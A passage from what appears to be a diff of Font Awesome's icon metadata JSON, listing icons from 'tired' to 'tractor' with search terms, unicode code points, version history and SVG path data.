0-111.76-99.79-153.34-146.78-311.82-7.94-28.78-49.44-30.12-58.44 0-15.52 52.34-36.87 91.96-58.49 125.68L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM144 333.91C144 432.35 222.72 512 320 512c44.71 0 85.37-16.96 116.4-44.7L162.72 255.78c-11.41 23.5-18.72 48.35-18.72 78.13z" + } + }, + "free": [ + "solid" + ] + }, + "tired": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "angry", + "emoticon", + "face", + "grumpy", + "upset" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f5c8", + "label": "Tired Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635759, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 189.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 208l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM248 288c51.9 0 115.3 43.8 123.2 106.7 1.7 13.6-8 24.6-17.7 20.4-25.9-11.1-64.4-17.4-105.5-17.4s-79.6 6.3-105.5 17.4c-9.8 4.2-19.4-7-17.7-20.4C132.7 331.8 196.1 288 248 288z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 189.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 208l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM248 288c51.9 0 115.3 43.8 123.2 106.7 1.7 13.6-8 24.6-17.7 20.4-25.9-11.1-64.4-17.4-105.5-17.4s-79.6 6.3-105.5 17.4c-9.8 4.2-19.4-7-17.7-20.4C132.7 331.8 196.1 288 248 288z" + }, + "regular": { + "last_modified": 1628088635235, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm129.1-303.8c-3.8-4.4-10.3-5.4-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48c5.4 3.2 11.8 1.6 15.3-2.5 3.8-4.5 3.9-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11.1-.1-15.5zM220 208c0-4.2-2.2-8.1-5.8-10.3l-80-48c-5-3-11.5-1.9-15.3 2.5-3.8 4.5-3.9 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11 .1 15.5 3.5 4.1 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3zm28 64c-45.4 0-100.9 38.3-107.8 93.3-1.5 11.8 6.9 21.6 15.5 17.9C178.4 373.5 212 368 248 368s69.6 5.5 92.3 15.2c8.5 3.7 17-6 15.5-17.9-6.9-55-62.4-93.3-107.8-93.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm129.1-303.8c-3.8-4.4-10.3-5.4-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48c5.4 3.2 11.8 1.6 15.3-2.5 3.8-4.5 3.9-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11.1-.1-15.5zM220 208c0-4.2-2.2-8.1-5.8-10.3l-80-48c-5-3-11.5-1.9-15.3 2.5-3.8 4.5-3.9 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11 .1 15.5 3.5 4.1 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3zm28 64c-45.4 0-100.9 38.3-107.8 93.3-1.5 11.8 6.9 21.6 15.5 17.9C178.4 373.5 212 368 248 368s69.6 5.5 92.3 15.2c8.5 3.7 17-6 15.5-17.9-6.9-55-62.4-93.3-107.8-93.3z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "toggle-off": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "switch" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f204", + "label": "Toggle Off", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635759, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384 64H192C85.961 64 0 149.961 0 256s85.961 192 192 192h192c106.039 0 192-85.961 192-192S490.039 64 384 64zM64 256c0-70.741 57.249-128 128-128 70.741 0 128 57.249 128 128 0 70.741-57.249 128-128 128-70.741 0-128-57.249-128-128zm320 128h-48.905c65.217-72.858 65.236-183.12 0-256H384c70.741 0 128 57.249 128 128 0 70.74-57.249 128-128 128z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M384 64H192C85.961 64 0 149.961 0 256s85.961 192 192 192h192c106.039 0 192-85.961 192-192S490.039 64 384 64zM64 256c0-70.741 57.249-128 128-128 70.741 0 128 57.249 128 128 0 70.741-57.249 128-128 128-70.741 0-128-57.249-128-128zm320 128h-48.905c65.217-72.858 65.236-183.12 0-256H384c70.741 0 128 57.249 128 128 0 70.74-57.249 128-128 128z" + } + }, + "free": [ + "solid" + ] + }, + "toggle-on": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "switch" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f205", + "label": "Toggle On", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635759, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384 64H192C86 64 0 150 0 256s86 192 192 192h192c106 0 192-86 192-192S490 64 384 64zm0 320c-70.8 0-128-57.3-128-128 0-70.8 57.3-128 128-128 70.8 0 128 57.3 128 128 0 70.8-57.3 128-128 128z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M384 64H192C86 64 0 150 0 256s86 192 192 192h192c106 0 192-86 192-192S490 64 384 64zm0 320c-70.8 0-128-57.3-128-128 0-70.8 57.3-128 128-128 70.8 0 128 57.3 128 128 0 70.8-57.3 128-128 128z" + } + }, + "free": [ + "solid" + ] + }, + "toilet": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bathroom", + "flush", + "john", + "loo", + "pee", + "plumbing", + "poop", + "porcelain", + "potty", + "restroom", + "throne", + "washroom", + "waste", + "wc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7d8", + "label": "Toilet", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635760, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M368 48c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H16C7.2 0 0 7.2 0 16v16c0 8.8 7.2 16 16 16h16v156.7C11.8 214.8 0 226.9 0 240c0 67.2 34.6 126.2 86.8 160.5l-21.4 70.2C59.1 491.2 74.5 512 96 512h192c21.5 0 36.9-20.8 30.6-41.3l-21.4-70.2C349.4 366.2 384 307.2 384 240c0-13.1-11.8-25.2-32-35.3V48h16zM80 72c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H88c-4.4 0-8-3.6-8-8V72zm112 200c-77.1 0-139.6-14.3-139.6-32s62.5-32 139.6-32 139.6 14.3 139.6 32-62.5 32-139.6 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M368 48c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H16C7.2 0 0 7.2 0 16v16c0 8.8 7.2 16 16 16h16v156.7C11.8 214.8 0 226.9 0 240c0 67.2 34.6 126.2 86.8 160.5l-21.4 70.2C59.1 491.2 74.5 512 96 512h192c21.5 0 36.9-20.8 30.6-41.3l-21.4-70.2C349.4 366.2 384 307.2 384 240c0-13.1-11.8-25.2-32-35.3V48h16zM80 72c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H88c-4.4 0-8-3.6-8-8V72zm112 200c-77.1 0-139.6-14.3-139.6-32s62.5-32 139.6-32 139.6 14.3 139.6 32-62.5 32-139.6 32z" + } + }, + "free": [ + "solid" + ] + }, + "toilet-paper": { + "changes": [ + "5.4.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "bathroom", + "covid-19", + "halloween", + "holiday", + "lavatory", + "prank", + "restroom", + "roll" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f71e", + "label": "Toilet Paper", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635760, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M128 0C74.98 0 32 85.96 32 192v172.07c0 41.12-9.8 62.77-31.17 126.87C-2.62 501.3 5.09 512 16.01 512h280.92c13.77 0 26-8.81 30.36-21.88 12.83-38.48 24.71-72.4 24.71-126.05V192c0-83.6 23.67-153.52 60.44-192H128zM96 224c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zM480 0c-53.02 0-96 85.96-96 192s42.98 192 96 192 96-85.96 96-192S533.02 0 480 0zm0 256c-17.67 0-32-28.65-32-64s14.33-64 32-64 32 28.65 32 64-14.33 64-32 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M128 0C74.98 0 32 85.96 32 192v172.07c0 41.12-9.8 62.77-31.17 126.87C-2.62 501.3 5.09 512 16.01 512h280.92c13.77 0 26-8.81 30.36-21.88 12.83-38.48 24.71-72.4 24.71-126.05V192c0-83.6 23.67-153.52 60.44-192H128zM96 224c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zM480 0c-53.02 0-96 85.96-96 192s42.98 192 96 192 96-85.96 96-192S533.02 0 480 0zm0 256c-17.67 0-32-28.65-32-64s14.33-64 32-64 32 28.65 32 64-14.33 64-32 64z" + } + }, + "free": [ + "solid" + ] + }, + "toilet-paper-slash": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bathroom", + "covid-19", + "halloween", + "holiday", + "lavatory", + "leaves", + "prank", + "restroom", + "roll", + "trouble", + "ut oh" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e072", + "label": "Toilet Paper Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635760, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64,192V364.13c0,41.12-9.75,62.75-31.12,126.87A16,16,0,0,0,48,512H328.86a31.87,31.87,0,0,0,30.38-21.87c9.31-27.83,18-53.35,22.18-85.55l-316-244.25C64.53,170.66,64,181.19,64,192ZM633.82,458.09l-102-78.81C575.28,360.91,608,284.32,608,192,608,86,565,0,512,0s-96,86-96,192c0,42,7,80.4,18.43,112L384,265V192c0-83.62,23.63-153.5,60.5-192H160c-23.33,0-44.63,16.83-61.26,44.53L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.45A16,16,0,0,0,6.18,53.91L594.54,508.63A16,16,0,0,0,617,505.81l19.64-25.26A16,16,0,0,0,633.82,458.09ZM512,256c-17.63,0-32-28.62-32-64s14.37-64,32-64,32,28.63,32,64S529.62,256,512,256Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M64,192V364.13c0,41.12-9.75,62.75-31.12,126.87A16,16,0,0,0,48,512H328.86a31.87,31.87,0,0,0,30.38-21.87c9.31-27.83,18-53.35,22.18-85.55l-316-244.25C64.53,170.66,64,181.19,64,192ZM633.82,458.09l-102-78.81C575.28,360.91,608,284.32,608,192,608,86,565,0,512,0s-96,86-96,192c0,42,7,80.4,18.43,112L384,265V192c0-83.62,23.63-153.5,60.5-192H160c-23.33,0-44.63,16.83-61.26,44.53L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.45A16,16,0,0,0,6.18,53.91L594.54,508.63A16,16,0,0,0,617,505.81l19.64-25.26A16,16,0,0,0,633.82,458.09ZM512,256c-17.63,0-32-28.62-32-64s14.37-64,32-64,32,28.63,32,64S529.62,256,512,256Z" + } + }, + "free": [ + "solid" + ] + }, + "toolbox": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "admin", + "container", + "fix", + "repair", + "settings", + "tools" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f552", + "label": "Toolbox", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635761, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.63 214.63l-45.25-45.25c-6-6-14.14-9.37-22.63-9.37H384V80c0-26.51-21.49-48-48-48H176c-26.51 0-48 21.49-48 48v80H77.25c-8.49 0-16.62 3.37-22.63 9.37L9.37 214.63c-6 6-9.37 14.14-9.37 22.63V320h128v-16c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v16h128v-16c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v16h128v-82.75c0-8.48-3.37-16.62-9.37-22.62zM320 160H192V96h128v64zm64 208c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-16H192v16c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-16H0v96c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-96H384v16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M502.63 214.63l-45.25-45.25c-6-6-14.14-9.37-22.63-9.37H384V80c0-26.51-21.49-48-48-48H176c-26.51 0-48 21.49-48 48v80H77.25c-8.49 0-16.62 3.37-22.63 9.37L9.37 214.63c-6 6-9.37 14.14-9.37 22.63V320h128v-16c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v16h128v-16c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v16h128v-82.75c0-8.48-3.37-16.62-9.37-22.62zM320 160H192V96h128v64zm64 208c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-16H192v16c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-16H0v96c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-96H384v16z" + } + }, + "free": [ + "solid" + ] + }, + "tools": { + "changes": [ + "5.6.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "admin", + "fix", + "repair", + "screwdriver", + "settings", + "tools", + "wrench" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7d9", + "label": "Tools", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635761, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M501.1 395.7L384 278.6c-23.1-23.1-57.6-27.6-85.4-13.9L192 158.1V96L64 0 0 64l96 128h62.1l106.6 106.6c-13.6 27.8-9.2 62.3 13.9 85.4l117.1 117.1c14.6 14.6 38.2 14.6 52.7 0l52.7-52.7c14.5-14.6 14.5-38.2 0-52.7zM331.7 225c28.3 0 54.9 11 74.9 31l19.4 19.4c15.8-6.9 30.8-16.5 43.8-29.5 37.1-37.1 49.7-89.3 37.9-136.7-2.2-9-13.5-12.1-20.1-5.5l-74.4 74.4-67.9-11.3L334 98.9l74.4-74.4c6.6-6.6 3.4-17.9-5.7-20.2-47.4-11.7-99.6.9-136.6 37.9-28.5 28.5-41.9 66.1-41.2 103.6l82.1 82.1c8.1-1.9 16.5-2.9 24.7-2.9zm-103.9 82l-56.7-56.7L18.7 402.8c-25 25-25 65.5 0 90.5s65.5 25 90.5 0l123.6-123.6c-7.6-19.9-9.9-41.6-5-62.7zM64 472c-13.2 0-24-10.8-24-24 0-13.3 10.7-24 24-24s24 10.7 24 24c0 13.2-10.7 24-24 24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M501.1 395.7L384 278.6c-23.1-23.1-57.6-27.6-85.4-13.9L192 158.1V96L64 0 0 64l96 128h62.1l106.6 106.6c-13.6 27.8-9.2 62.3 13.9 85.4l117.1 117.1c14.6 14.6 38.2 14.6 52.7 0l52.7-52.7c14.5-14.6 14.5-38.2 0-52.7zM331.7 225c28.3 0 54.9 11 74.9 31l19.4 19.4c15.8-6.9 30.8-16.5 43.8-29.5 37.1-37.1 49.7-89.3 37.9-136.7-2.2-9-13.5-12.1-20.1-5.5l-74.4 74.4-67.9-11.3L334 98.9l74.4-74.4c6.6-6.6 3.4-17.9-5.7-20.2-47.4-11.7-99.6.9-136.6 37.9-28.5 28.5-41.9 66.1-41.2 103.6l82.1 82.1c8.1-1.9 16.5-2.9 24.7-2.9zm-103.9 82l-56.7-56.7L18.7 402.8c-25 25-25 65.5 0 90.5s65.5 25 90.5 0l123.6-123.6c-7.6-19.9-9.9-41.6-5-62.7zM64 472c-13.2 0-24-10.8-24-24 0-13.3 10.7-24 24-24s24 10.7 24 24c0 13.2-10.7 24-24 24z" + } + }, + "free": [ + "solid" + ] + }, + "tooth": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bicuspid", + "dental", + "dentist", + "molar", + "mouth", + "teeth" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5c9", + "label": "Tooth", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635761, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M443.98 96.25c-11.01-45.22-47.11-82.06-92.01-93.72-32.19-8.36-63 5.1-89.14 24.33-3.25 2.39-6.96 3.73-10.5 5.48l28.32 18.21c7.42 4.77 9.58 14.67 4.8 22.11-4.46 6.95-14.27 9.86-22.11 4.8L162.83 12.84c-20.7-10.85-43.38-16.4-66.81-10.31-44.9 11.67-81 48.5-92.01 93.72-10.13 41.62-.42 80.81 21.5 110.43 23.36 31.57 32.68 68.66 36.29 107.35 4.4 47.16 10.33 94.16 20.94 140.32l7.8 33.95c3.19 13.87 15.49 23.7 29.67 23.7 13.97 0 26.15-9.55 29.54-23.16l34.47-138.42c4.56-18.32 20.96-31.16 39.76-31.16s35.2 12.85 39.76 31.16l34.47 138.42c3.39 13.61 15.57 23.16 29.54 23.16 14.18 0 26.48-9.83 29.67-23.7l7.8-33.95c10.61-46.15 16.53-93.16 20.94-140.32 3.61-38.7 12.93-75.78 36.29-107.35 21.95-29.61 31.66-68.8 21.53-110.43z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M443.98 96.25c-11.01-45.22-47.11-82.06-92.01-93.72-32.19-8.36-63 5.1-89.14 24.33-3.25 2.39-6.96 3.73-10.5 5.48l28.32 18.21c7.42 4.77 9.58 14.67 4.8 22.11-4.46 6.95-14.27 9.86-22.11 4.8L162.83 12.84c-20.7-10.85-43.38-16.4-66.81-10.31-44.9 11.67-81 48.5-92.01 93.72-10.13 41.62-.42 80.81 21.5 110.43 23.36 31.57 32.68 68.66 36.29 107.35 4.4 47.16 10.33 94.16 20.94 140.32l7.8 33.95c3.19 13.87 15.49 23.7 29.67 23.7 13.97 0 26.15-9.55 29.54-23.16l34.47-138.42c4.56-18.32 20.96-31.16 39.76-31.16s35.2 12.85 39.76 31.16l34.47 138.42c3.39 13.61 15.57 23.16 29.54 23.16 14.18 0 26.48-9.83 29.67-23.7l7.8-33.95c10.61-46.15 16.53-93.16 20.94-140.32 3.61-38.7 12.93-75.78 36.29-107.35 21.95-29.61 31.66-68.8 21.53-110.43z" + } + }, + "free": [ + "solid" + ] + }, + "torah": { + "changes": [ + "5.3.0", + "5.7.0", + "5.9.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "book", + "jewish", + "judaism", + "religion", + "scroll" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6a0", + "label": "Torah", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635762, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320.05 366.48l17.72-29.64h-35.46zm99.21-166H382.4l18.46 30.82zM48 0C21.49 0 0 14.33 0 32v448c0 17.67 21.49 32 48 32s48-14.33 48-32V32C96 14.33 74.51 0 48 0zm172.74 311.5h36.85l-18.46-30.82zm161.71 0h36.86l-18.45-30.8zM128 464h384V48H128zm66.77-278.13a21.22 21.22 0 0 1 18.48-10.71h59.45l29.13-48.71a21.13 21.13 0 0 1 18.22-10.37A20.76 20.76 0 0 1 338 126.29l29.25 48.86h59.52a21.12 21.12 0 0 1 18.1 32L415.63 256 445 305a20.69 20.69 0 0 1 .24 21.12 21.25 21.25 0 0 1-18.48 10.72h-59.47l-29.13 48.7a21.13 21.13 0 0 1-18.16 10.4 20.79 20.79 0 0 1-18-10.22l-29.25-48.88h-59.5a21.11 21.11 0 0 1-18.1-32L224.36 256 195 207a20.7 20.7 0 0 1-.23-21.13zM592 0c-26.51 0-48 14.33-48 32v448c0 17.67 21.49 32 48 32s48-14.33 48-32V32c0-17.67-21.49-32-48-32zM320 145.53l-17.78 29.62h35.46zm-62.45 55h-36.81l18.44 30.8zm29.58 111h65.79L386.09 256l-33.23-55.52h-65.79L253.9 256z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M320.05 366.48l17.72-29.64h-35.46zm99.21-166H382.4l18.46 30.82zM48 0C21.49 0 0 14.33 0 32v448c0 17.67 21.49 32 48 32s48-14.33 48-32V32C96 14.33 74.51 0 48 0zm172.74 311.5h36.85l-18.46-30.82zm161.71 0h36.86l-18.45-30.8zM128 464h384V48H128zm66.77-278.13a21.22 21.22 0 0 1 18.48-10.71h59.45l29.13-48.71a21.13 21.13 0 0 1 18.22-10.37A20.76 20.76 0 0 1 338 126.29l29.25 48.86h59.52a21.12 21.12 0 0 1 18.1 32L415.63 256 445 305a20.69 20.69 0 0 1 .24 21.12 21.25 21.25 0 0 1-18.48 10.72h-59.47l-29.13 48.7a21.13 21.13 0 0 1-18.16 10.4 20.79 20.79 0 0 1-18-10.22l-29.25-48.88h-59.5a21.11 21.11 0 0 1-18.1-32L224.36 256 195 207a20.7 20.7 0 0 1-.23-21.13zM592 0c-26.51 0-48 14.33-48 32v448c0 17.67 21.49 32 48 32s48-14.33 48-32V32c0-17.67-21.49-32-48-32zM320 145.53l-17.78 29.62h35.46zm-62.45 55h-36.81l18.44 30.8zm29.58 111h65.79L386.09 256l-33.23-55.52h-65.79L253.9 256z" + } + }, + "free": [ + "solid" + ] + }, + "torii-gate": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "shintoism" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6a1", + "label": "Torii Gate", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635762, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M376.45 32h-240.9A303.17 303.17 0 0 1 0 0v96c0 17.67 14.33 32 32 32h32v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v240c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V256h256v240c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V256h48c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-48v-64h32c17.67 0 32-14.33 32-32V0a303.17 303.17 0 0 1-135.55 32zM128 128h96v64h-96v-64zm256 64h-96v-64h96v64z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M376.45 32h-240.9A303.17 303.17 0 0 1 0 0v96c0 17.67 14.33 32 32 32h32v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v240c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V256h256v240c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V256h48c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-48v-64h32c17.67 0 32-14.33 32-32V0a303.17 303.17 0 0 1-135.55 32zM128 128h96v64h-96v-64zm256 64h-96v-64h96v64z" + } + }, + "free": [ + "solid" + ] + }, + "tractor": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "agriculture", + "farm", + "vehicle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f722", + "label": "Tractor", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635763, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M528 336c-48.6 0-88 39.4-88 88s39.4 88 88 88 88-39.4 88-88-39.4-88-88-88zm0 112c-13.23 0-24-10.77-24-24s10.77-24 24-24 24 10.77 24 24-10.77 24-24 24zm80-288h-64v-40.2c0-14.12 4.7-27.76 13.15-38.84 4.42-5.8 3.55-14.06-1.32-19.49L534.2 37.3c-6.66-7.45-18.32-6.92-24.7.78C490.58 60.9 480 89.81 480 119.8V160H377.67L321.58 29.14A47.914 47.914 0 0 0 277.45 0H144c-26.47 0-48 21.53-48 48v146.52c-8.63-6.73-20.96-6.46-28.89 1.47L36 227.1c-8.59 8.59-8.59 22.52 0 31.11l5.06 5.06c-4.99 9.26-8.96 18.82-11.91 28.72H22c-12.15 0-22 9.85-22 22v44c0 12.15 9.85 22 22 22h7.14c2.96 9.91 6.92 19.46 11.91 28.73l-5.06 5.06c-8.59 8.59-8.59 22.52 0 31.11L67.1 476c8.59 8.59 22.52 8.59 31.11 0l5.06-5.06c9.26 4.99 18.82 8.96 28.72 11.91V490c0 12.15 9.85 22 22 22h44c12.15 0 22-9.85 22-22v-7.14c9.9-2.95 19.46-6.92 28.72-11.91l5.06 5.06c8.59 8.59 22.52 8.59 31.11 0l31.11-31.11c8.59-8.59 8.59-22.52 0-31.11l-5.06-5.06c4.99-9.26 8.96-18.82 11.91-28.72H330c12.15 0 22-9.85 22-22v-6h80.54c21.91-28.99 56.32-48 95.46-48 18.64 0 36.07 4.61 51.8 12.2l50.82-50.82c6-6 9.37-14.14 9.37-22.63V192c.01-17.67-14.32-32-31.99-32zM176 416c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zm22-256h-38V64h106.89l41.15 96H198z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M528 336c-48.6 0-88 39.4-88 88s39.4 88 88 88 88-39.4 88-88-39.4-88-88-88zm0 112c-13.23 0-24-10.77-24-24s10.77-24 24-24 24 10.77 24 24-10.77 24-24 24zm80-288h-64v-40.2c0-14.12 4.7-27.76 13.15-38.84 4.42-5.8 3.55-14.06-1.32-19.49L534.2 37.3c-6.66-7.45-18.32-6.92-24.7.78C490.58 60.9 480 89.81 480 119.8V160H377.67L321.58 29.14A47.914 47.914 0 0 0 277.45 0H144c-26.47 0-48 21.53-48 48v146.52c-8.63-6.73-20.96-6.46-28.89 1.47L36 227.1c-8.59 8.59-8.59 22.52 0 31.11l5.06 5.06c-4.99 9.26-8.96 18.82-11.91 28.72H22c-12.15 0-22 9.85-22 22v44c0 12.15 9.85 22 22 22h7.14c2.96 9.91 6.92 19.46 11.91 28.73l-5.06 5.06c-8.59 8.59-8.59 22.52 0 31.11L67.1 476c8.59 8.59 22.52 8.59 31.11 0l5.06-5.06c9.26 4.99 18.82 8.96 28.72 11.91V490c0 12.15 9.85 22 22 22h44c12.15 0 22-9.85 22-22v-7.14c9.9-2.95 19.46-6.92 28.72-11.91l5.06 5.06c8.59 8.59 22.52 8.59 31.11 0l31.11-31.11c8.59-8.59 8.59-22.52 0-31.11l-5.06-5.06c4.99-9.26 8.96-18.82 11.91-28.72H330c12.15 